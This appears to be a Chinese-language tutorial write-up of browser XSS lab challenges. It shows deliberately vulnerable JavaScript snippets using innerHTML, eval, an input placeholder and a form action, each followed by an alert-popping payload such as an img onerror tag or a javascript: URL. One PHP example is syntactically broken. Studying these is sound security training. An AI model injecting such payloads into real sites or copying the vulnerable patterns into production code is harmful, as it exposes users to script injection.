1 innerHTML
html
<body>
<h2 id="spaghet"></h2>
</body>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>
1.1 innerHTML在JS是双向功能:
1.1.1获取对象的内容
如:<div id="aa">这是内容</div>
我们可以通过 document.getElementById('aa').innerHTML 来获取id为aa的对象的内嵌内容;
1.1.2或向对象插入内容
也可以对某对象插入内容,如 document.getElementById('abc').innerHTML='这是被插入的内容';
这样就能向id为abc的对象插入内容。
1.2 代码分析
javascript
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
这个innerHTML就是通过spaghet这个标签id锁定到html中的标签,然后再按照后面的=来表明输出的值
1.2.1 直接访问
直接访问发现是按照js中的代码直接拼接的,get传参的可变参数默认为somebody,那我们对他进行赋值来看看

1.2.2 赋值分析

直接就变成了1进行拼接,那我们试着输入恶意代码试一下(注意:innerHTML限制了<script>标签)
1.2.3 payload
javascript
test1.html?somebody=<img src=1 onerror=alert(1337)>
2
2.1 代码分析
首先jeff如果没传参默认为JEFFF,eval代码执行,先让ma接收上面的传参然后一秒钟过后将执行的ma赋值给h2,所以显示内容为 Ma name JEFFF
html
<body>
<h2 id="maname"></h2>
</body>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>

2.2 payload
eval在js中也是命令执行,我们先闭合前面的双引号,但是我后面也有一个双引号,我可以直接注释掉
html
1 ?jeff=aaa";alert(1)//
2 ?jeff=111";alert(1);"
2.2.1 代码调试
传参是这个,然后当我们再下一步的时候,发现直接弹1了,并没有执行下一步的延迟一秒

eval
执行代码 :eval
会把字符串当 JS 代码执行,其中;alert(1)//
部分:;
分割语句,让alert(1)
独立执行;//
注释掉后面的多余引号(避免语法错误),最终触发alert(1)
弹窗。
3 input标签
html
</head>
<body>
<div id="uganda"></div>
</body>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>
3.1 代码分析
3.2 payload
html
test1.html?wey=a" autofocus onfocus="alert(1)

4 form表单
form表单通常我们需要注意他的这三个参数,action=""这个是表示我应该接的后端的程序应该是那个php或者1后端的代码来接,enctype第一个是默认值,表示的是我输入的是文字,密码等,第二个"multipart/form-data是表示的文件上传

4.1 form属性
4.1.1 action
4.1.1.1 前端html
<body>
<form action="test2.php" method="post">
<input type="text" name="username" id="">
<input type="submit" value="submit">
</form>
</body>
4.1.1.2 后端test2.php
<?php
username = _POST['username'];
echo $username;
4.1.1.3 测试
先访问前端页面,因为get传参,看能不能传参到后端用来说明action属性的作用

提交后传到后端

4.1.1.4 当action=#
当为#的时候,会把页面提交到当前的页面不会进行跳转
4.2 漏洞源码
html
<form id="ricardo" method="GET" >
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
</html>
4.2.1 javascript伪协议
分析可知action可以接收javascript伪协议,执行其中的方法那么再回到4.2这个题本省就变的很简单了,直接给他赋值伪协议就行了
html
<form action="javascript:alert(1)" method="post">
<input type="text" name="username" id="">
<input type="submit" value="submit">
4.3 payload
相当于我直接给action传参
test1.html?ricardo=javascript:alert(1)
